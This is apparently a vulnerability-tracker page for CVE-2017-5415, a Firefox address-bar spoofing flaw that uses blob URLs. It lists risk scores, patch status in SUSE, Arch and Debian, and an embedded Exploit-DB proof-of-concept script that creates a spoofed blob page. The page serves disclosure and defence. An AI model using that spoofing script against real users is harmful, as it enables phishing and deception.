CVE-2017-5415

critical

Published — · Modified —

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CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

An attack can use a blob URL and script to spoof an arbitrary addressbar URL prefaced by "blob:" as the protocol, leading to user confusion and further spoofing attacks. This vulnerability affects Firefox < 52.

Predictions

Exploit likelihood

55%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-44266 local multiple text · 1 KB

649 · 2017-04-14

Mozilla Firefox - Address Bar Spoofing

text exploit Source: Exploit-DB

<script>
location=URL.createObjectURL(new Blob(['<b>Not Google</b><script>if(location.href.indexOf("google")==-1){location.pathname="https://www.google.com/"}else{document.title="Google Search"}<\/script>'], {type: 'text/html'}))
</script>

OS impact

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

Arch Fixed 1 release

Version	Status	Fixed in
—	Fixed	`52.0-1`

Debian Fixed 1 release

Version	Status	Fixed in
sid	Fixed	`52.0-1`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.